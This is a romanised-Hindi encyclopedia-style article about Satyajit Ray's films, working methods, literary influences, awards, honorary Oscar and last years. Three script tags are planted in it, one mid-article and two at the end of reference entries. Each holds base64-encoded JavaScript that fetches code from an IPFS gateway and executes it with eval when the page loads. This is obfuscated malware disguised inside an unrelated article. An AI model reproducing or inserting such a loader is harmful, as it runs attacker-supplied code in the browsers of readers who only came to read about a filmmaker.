premachand ki yah kahani azadi se bahut pahale likhi gee thi. satyajit ray ki film bhi usi yatharth ko darshati hai jo tab se lekar ab tak aparivartit rahi hai. sach hi, aj ke is daur mean jab punarutthanavadi hindoo kattarata tatha harijanoan ke viruddh daman ki varadatean badh rahi haian, film ne roop mean prasangik ho jati hai. satyajit ray premachand ki kahani mean koee bhi parivartan nahian karate, shirshak se lekar pankti-dar-pankti ve premachand ka anusaran karate haian aur kahana n hoga ki ray ke lie yah pravidhi asvabhavik hai. tathapi satyajit ray is film ko prabhavit kar dene vali vishvasaniyata se lais kar dete haian- ek aisi vishvasaniyata jise koee siddhahast vyakti hi chalachitroan ke madhyam se vyakt kar sakata hai. shataranj ke khila di ki anuvarti ray ki filmean ya to ullasakari haian. ya bachchoan ke lie upadeshatmak kahaniyaan, (jay baba phelunath, hirak rajar deshe) ya phir dooradarshan ke lie banaee gee laghu filmean (pikoo, sadgati) jabaki log unase yah as lagae baithe the ki ve manav man ki gahari anubhootiyoan par adharit koee mahati kriti lekar upasthit hoange.
film soochi
| varsh | film | vivaran | kalakar |
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shastriyatavad
satyajit ray ki un filmoan ko chho dakar jo unaki apani kahaniyoan par thian, satyajit ray ki filmean khyati prapt sahityik mool kathaoan, adhikaanshat: pratishthit kritiyoan par adharit thian. shrilanka ke nirdeshak lestar perij ko likhe ek patr mean (mairi setan ke potret af ek dayarektar, satyajit ray mean uddhrit) satyajit ray ne khed vyakt kiya hai ki-
film ke bahy ka mahattv pahale ki tulana mean adhik badhana shuroo ho raha hai. log is bare mean chiantit hote hue nahian dikhate ki ap kya kahate haian, yadi ap jo kah rahe haian use paryapt aspasht ya apratyaksh aur gairaparanparik tarike se kah rahe haian to- aur ek samany dikhane vali film kamatar aank li jati hai- mera ashay yah nahian hai ki sabhi ne yooropiy film nirmata pratibhavihin haian lekin yah meri ganbhir ashanka avashy hai ki kya ve seks ke atyadhik udar dohan ke bina, jisaki anumati unaki samajik sanhita unhean deti huee pratit hoti hai, ajivika kamana jari rakh sakate the.[1]
rachanatmak drishti
satyajit ray ki film ki paandulipi ki n kabhi pratilipi taiyar ki gee, n use jildabaddh kiya gaya aur n vitarit. satyajit ray jab ise apani avadharana samajhane ke lie abhinetaoan ke samane padhate the to use apani chhati ke nikat rakhate the. isamean sanvad, abhinay ki tippaniyaan aur avasthan (lokeshan) ke alava bhi bahut kuchh hota tha, isamean rekhaankan, akhyayan, sangitatmak parikalpanaean, vistrit vivaran jo unaki mool dharana ko smrit karaean, aur sanbandh, chehare, sthan adi hote the jo filmaankan aur sanpadan ke samay tak ke lie tay rahate the. varshoan ke anubhav ke sath satyajit ray ne film nirman ke kee vibhagoan mean apana pravesh kara liya tha.
patakatha lekhan
thumb|satyajit ray|250px satyajit ray apani patakatha (skript) hamesha svayan likhate the, kabhi-kabhi apani kahaniyaan bhi ve taiyar karate the, ve kisi aur ki skript par film banane ki svapn mean bhi nahian soch sakate the. pather paanchali ke dinoan mean bhi unhean mashin par kam karate hue sanpadak ke pichhe kh da hua dekha ja sakata tha. jab ve film dekh rahe hote the to apane roomal ko chaba dalate the aur film sanpadak kabhi kabhi rachanatmak sujhav de diya karata tha, jinamean se kuchh ko ve bal sulabh romaanch ke sath svikar kar liya karate the aur any ko apane nirbhav chehare se asvikar kar diya karate the. abhinay ka nirdeshan aisi chiz hai jahaan adhikaansh film nirmata poore vistar mean jate haian. satyajit ray shootiang se pahale sanvadoan ki riharsal nahian karavate the jaise ki any nirdeshak karavate haian. sanvad unaki filmoan mean natak se bahut bhinn bhoomika nibhate haian, aur ye vatavaran ka itana avibhajy hissa hote haian ki ek kamare ke bhitar inaki riharsal karana inhean arthahin bana sakata hai. doosari or, pramukh roop se gair vyavasayikoan ke sath, ve sir ke pratyek kon, har chhoti se chhoti bhav bhangima ka nirdesh dete the. apane patr ko sahi sahi dhal chukane ke bad ve abhineta ki prakritik kshamata aur abhivyakti par bharosa karate the ki inhoanne jo kuchh bhi manaviy mahattv ke sath bataya hai use vah apane hav-bhav se abhivyakt kare. bachchoan ke sath ve ghutanoan ke bal jhuk jaya karate the aur ek shadyantrakari ke jaise dhang se phusaphusaya karate the, lekin unase har sanbhav saman roopata prapt karane ki koshish karate the. keval shesh (jo kafi kuchh rah jata tha) ko hi bachche ke apane sahaj vyavahar par chho date the.
satyajit ray ka leans
satyajit ray ka priy leans 40 em.em. tha jo samany manaviy drishti ke sarvadhik anukool hota hai. ve atyadhik nikatavarti shat aur atyadhik dirghakon (vaid aiangil) se bachane ki pravritti rakhate the, unake vichar se ye donoan hi ek prakar ke uddipak the, ek ekaant ka atikraman karata hua aur doosara pariprekshy ko banavati banata hua. sangit ke prati apane jivanaparyant lagav ke rahate (praranbhik dinoan mean pramukhat: pashchimi sangit), ve suprasiddh sangitajnoan- ravi shankar, ali akabar khan, vilayat khan dvara apani filmoan mean kie ge yogadan ko svikar karane mean kathinaee mahasoos karane lage the. in sangitajnoan ke sath vistrit vichar-vimarsh hone tatha unaki ichchha par apani ichchha thopane ke thakaoo prayasoan ke bavajood unaki yah kathinaee badhati gee thi.
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satyajit ray shootiang se pahale sanvadoan ki riharsal nahian karavate the jaise ki any nirdeshak karavate haian. sanvad unaki filmoan mean natak se bahut bhinn bhoomika nibhate haian, aur ye vatavaran ka itana avibhajy hissa hote haian ki ek kamare ke bhitar inaki riharsal karana inhean arthahin bana sakata hai.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hirak rajar deshe, gopi gayane bagha bayane ke bad ki fantasi film ke lie ray ne vastr vinyas, svayan apane dvara chayanit samagri adi sahit tatha pratyek rekhaankan ke bad vale prishth par tankit, ke jildabaddh sanskaran taiyar karae the. satyajit ray ke lie rachanatmakata avibhajy thi. ve apane kam ke vaise hi sarvasiddh karta the jaisa ki koee bhi any vyakti ho sakata tha. samoohik kary ke lie pahachane jane vale ek prakhyat madhyam par manograstata ki had tak ek karmikata aropit kie jane ki kuanji, pather paanchali ki shootiang ke dauran ke ek prakaran mean talashi ja sakati hai jisaka varnan unhoanne avar films dear films ke ek lekh mean kiya hai:
"us pahale din ek shat jo mujhe lena tha vah apane bhaee apu-jo usaki upasthiti se anabhijn tha- ko lanbe laharate narakuloan ke pichhe se dekhati huee l daki durga ka tha. maianne ek samany leans se ek madhy darjean ka nikat drishyabandh (klojap) lene ki yojana banaee thi jisamean use kamar ke oopar se dikhana tha. us din hamare sath ek mitr tha jo vyavasayik kaimaramain tha. jab maian narakuloan ke pichhe kh da hokar durga ko yah bata raha tha ki use kya karana hai, tabhi meri u dati huee drishti leansoan se chhe dachha d karate hue apane mitr par p di, usane yah kiya ki kaimare se samany leans nikal liya tha aur usake sthan par ‘lanbi phokas leanth’ vala leans laga diya tha. jab maian vyoo phaiandar se dekhane ke lie vahaan aya to vah bola, ‘‘is leans se usake oopar ek nazar dalo.’’ isase pahale maian bahut kuchh achal chhayaankan (stil fotographi) kar chuka tha. lekin karyitar bresaan ke prati apani achal nishtha ke chalate maianne ‘laang leans’ ke sath kabhi kam nahian kiya tha. ab vyoo phaiandar jo dikha raha tha vah durga ke chehare ka ek b da drishyabandh (klojap) tha, chehara pichhe se dhoop mean tha aur hilate chamakate narakuloan ke bich se, jinhean usane apane hathoan se hata rakha tha, jhaank raha tha. yah bahut hi akarshak pratit ho raha tha, maianne apane mitr ko samayanukool salah dene ke lie dhanyavad diya aur vah shat le liya. kuchh dinoan bad, katiang roop mean, yah dekhakar maian dahashat mean a gaya tha ki is drishy ko kisi bhi tarah itane b de klojap ki zaroorat nahian thi. apane sare sauandary ke bavajood, ya isake karan hi yah drishyabandh (shat) any drishyabandhoan se poori tarah alag ho gaya tha aur is tarah apane poore drishy ko hi bhrasht kar diya tha. isane ek jhatake se hi mujhe film nirman ke do mool path sikha die :
- ek shat keval tabhi khoobasoorat hota hai jab vah sahi sandarbh mean ho aur isake sahi hone ka usake sath koee sanbandh nahian hai jo aankh ko suandar pratit hota hai.
- vivaran par kisi bhi us vyakti ki salah mat mano jo poori film ko apane dimag mean utani spashtata se n bithae hue ho jitani ki ap bithae hue haian."
sahityik vichar
[[chitr:Seemabaddh.jpg|thumb|250px|sharmila taigor ko sh aaut samajhate satyajit ray]] apani filmoan ki prakriti ke srot ke roop mean ve bar-bar pashchimi sangit ki bat karate the. sinema vah madhyam hai jo bharatiy sangit ki tulana mean pashchimi sangit ke adhik nikat hai kyoanki bharatiy paranpara mean aparivartaniy samay ki avadharana maujood nahian hai- vahaan ‘sanyojan’ rachana nahian hai- avadhi parivartaniy hai aur sangitakar ki man sthiti par nirbhar karati hai. lekin sinema samayabaddh sanyojan hai. yahi karan hai ki maian mahasoos karata hooan ki pashchimi roopoan ki meri janakari mere lie ek suvidha ke bataur rahi hai. ek labh yah hai ki ‘sonata ka roopakar ek natakiy roopakar hai jisake sath vikas (devalapameant), kathy aur lay ki punaravritti (rikepituleshan), aur ‘koda’ (ek vishesh sangit rachana se ju de hue) sianphani ya sonata jaisi sangit vidhaoan ne meri filmoan ki sanrachana ko kafi prabhavit kiya hai. charulata ke lie maianne nirantar maujart ke bare mean socha tha. satyajit ray ne jo kiya, vah yah tha ki upanishadoan mean abhivyakt bharatiy chiantan aur adhunik vaijnanik drishtiyoan ko ek sath ek aise sanshleshan mean piro diya jo 19vian shatabdi ke vicharakoan aur samaj sudharakoan ne vikasit kiya tha aur jisaka charam taigor mean hai. satyajit ray ka yah sanshleshan svami vivekanand aur maharrishi araviand ke vedaant darshan ki bhi smriti karata hai. is darshan ne hiandutv ke sudhar aur punarmoolyakann ki vah prishthabhoomi taiyar ki thi jo 19vian aur 20vian shatabdi ke shuruati daur mean prabhavi rahi. isamean agar bharatiy paranpara ka bahishkar hai to bad ke hiandutv ke kal doshapoorn pahaluoan ka bhi bahishkar hai jisamean moortipooja, pashu bali, manav bali tatha shatabdiyoan ke dauran vibhinn prakar ke aandhavishvasoan mean vriddhi adi the. hindoo darshan ya adhyatmikata ka bahishkar nahian tha. devi, mahapurush ya jay baba pheloonath jaisi filmean dharm ke nam par ki gee samaj virodhi vikritiyoan ki alochana ya upahas karati hai. satyajit ray ki prasangikata aj us samay phir se badh gee he jab dharmik kattarapanthi 19vian aur praranbhik 20vian shatabdi ke samaj sudharoan ki gh di ko ulata ghumane ki koshish kar rahe haian taki ve tathy ke sthan par mithak ko aur lokatantr ke sthan par sarvasattavad ko sthapit kar sakean.
samman evan puraskar
vishv vikhyat nirdeshak satyajit ray ne sabase zyada rashtriy film puraskar jite haian. unhoanne aur unake kam ne kul 32 rashtriy film puraskar prapt kiye. nimnaankit soochi satyajit ray ko mile sammanoan ko pradarshit karati hai. isase unake vishvavyapi khyati, unaki drishti evan unake karyoan ka parichay milata hai.
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film samikshakoan ki nazaroan se
thumb|250px|satyajit ray satyajit ray ki filmoan ke alochakoan ki shikayat rahi ki vah maujooda samasyaoan se bachate haian lekin 'jan arany' is lihaz se mahattvapoorn film hai jisamean pariksha pranali, madhyam varg ki akaanksha, rozagar ki samasya ka behatarin chitran kiya gaya hai. jan arany ki paranpara mean hi pratidvandvi ya simabaddh ko bhi shamil kiya ja sakata hai. ray ki filmoan mean stri patroan ki bhoomika mahattvapoorn rahi hai. unaki kee mahila patr padhi likhi nahian haian lekin unaki pratikriyaean sachchi haian aur unamean prem, ghrina adi ko lekar spasht sanvedanashilata haian. samikshakoan ke anusar satyajit ray ne n keval filmoan balki rekhaankan ke jarie bhi apani rachanatmak oorja ko bakhoobi abhivyakt kiya. bachchoan ki patrikaoan aur pustakoan ke lie banae ge satyajit ray ke rekhachitroan ko kala samikshak utkrisht kala ki shreni mean rakhate haian. sahityakar satyajit ray ki bal manovijnan par jabaradast pak d thi aur isaka parichay unaki phelooda kahaniyoan ki shriankhala mean milata hai. is shriankhala ki kahaniyoan mean sarasata, rochakata aur pathakoan ko baandhakar rakhane ke sare tatv maujood haian.[2]
satyajit ray aur aauskar
vishv ke das filmakaroan mean shamil baangla filmakar satyajit ray ne apani kisi bhi film ko aauskar ki dau d mean shamil hone nahian bheja. unaki film ‘pather paanchali’ (1955) aur apoo trayi ko duniya bhar ke film phestivals mean saik doan av aaurd mile haian. isake bavajood 'ray moshay' ne aauskar ke phere nahian lagae. svayan aauskar av aaurd 1992 mean chal kar kolakata aya aur vishv sinema mean abhootapoorv yogadan ke lie satyajit ray ko manad aauskar av aaurd se alankrit kiya. thumb|left|aauskar avard prapt karate satyajit ray satyajit ray bimar the. unake ghar akar aauskar av aaurd ke padadhikariyoan ne unaka samman kiya. is ayojan ki film banaee gee aur use aauskar seremani mean pradarshit kar poori duniya ko dikhaya gaya.[3]
aantim charan
ghare bahare (1984) ke nirman ke sath satyajit ray ki jo bimari shuroo huee usase ve poorn roop se kabhi bhi nijat nahian pa sake aur unaka svasthy lagatar girata raha. apane pita par banae ge adhe ghante ki laghu film ko chho d dean to ve poore paanch sal tak film nirman se alag rahe. ganashatru aur usake bad ki filmoan ka nirdeshak daktaroan aur narsoan se ghira rahata tha, daravaze par embuleans gahan chikitsa kaksh ke bataur kh di rahati thi. ‘ab mera daktar- mujhe film nirman ki vidhi bata raha hai aur mujhe adesh hai ki maian stoodiyoan ke aandar hi kary karooan.’ kiantu sath mean unaka yah bhi kahana tha ki kaimare ke pichhe akar kam karana unhean praphullit kar deta tha. aur davaiyoan se jitani rahat mili usase kahian adhik rahat unhean kaimare se mili. vah hamare bich bhale hi maujood nahian haian lekin unaki darjanoan phichar filmoan, kee vrit chitr aur laghu filmean maujood haian jinase unaki upasthiti mahasoos ki ja sakati hai.
samachar
- 27 joon, 2015 shanivar
sanyukt rashtr pradarshani mean satyajit ray ki tasvir
bharat ke film itihas mean apana ek khas mukam rakhane vale satyajit ray athava satyajit re ki tasvir ko sanyukt rashtr ne apane mukhyalay mean pradarshit karane ka phaisala kiya hai. 16 vicharakoan aur kalakaroan ki tasvirean sanyukt rashtr ke mukhyalay mean pradarshit ki jaeangi. ye 16 foto un shakhshiyatoan ki haian jinhoanne manavata ke lie kam kiya hai. duniyabhar ke in 16 namoan mean se ek nam satyajit re ka hai. mahasabha ke adhyaksh saim kutesa dvara ayojit 'd traansaph aaurametiv pavar aauph art' pradarshani 30 joon, 2015 tak logoan ke lie khuli rahegi. is pradarshani ka uddeshy mahanh hastiyoan dvara manavata ke lie kie ge kamoan ko yad karana hai. satyajit ko 1992 mean manad aauskar mila tha aur usi sal unhean bharat ke shirsh nagarik samman 'bharat ratn' se navaja gaya tha. pradarshani mean phaibarijiyo roogiro aur nina mujji ki kalakritiyaan haian. roogiro ke 16 chitroan mean bhitti chitr ki vidhi ke sath hi samakalin takanik ka prayog hua hai. satyajit re ke atirikt 15 any shakhsiyatoan mean pakistani manavadhikar karyakarta aur nobel shaanti puraskar vijeta malala yoosufajee, ameriki lekhak maya aianjeloo, british adakara odre hepabarn, chini adakara goang li adi ka nam bhi shamil hai.
- samachar ko vibhinn srotoan par padhean
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tika tippani aur sandarbh
- mool uddharan- satyajit ray ka sinema, chidanand das gupta, neshanal buk trast, iandiya
- ↑ yahaan ve spashtat: samany se kam the. udaharan ke lie phraansisi nayi filmoan ke nirmataoan traphaoot ya godarj: demi ya renesa ya sobrol ki filmoan mean seks ka dohan qatee nahian hai. aisi halki tippani unhoanne kis bat se prabhavit ho kar ki, yah bata pana mushkil hai.
- ↑ jiniyas filmakar the satyajit ray (hindi) (ech.ti.em.el) laiv hindustan. abhigaman tithi: 30 janavari, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ satyajit re aur aauskar (hindi) (ech.ti.em.el) vebaduniya. abhigaman tithi: 30 janavari, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- satyajit ray se prabhavit haian itali ke nirdeshak
- satyajit re ki pather paanchali bhi hogi rangin
- satyajit re ke upanyasoan par banegi film
- satyajit re ko shraddhaanjali hai shukno lanka
- Satyajit Ray The Great Maestro
- Ray, Satyajit
sanbandhit lekh
- REDIRECTsaancha:bharat rathn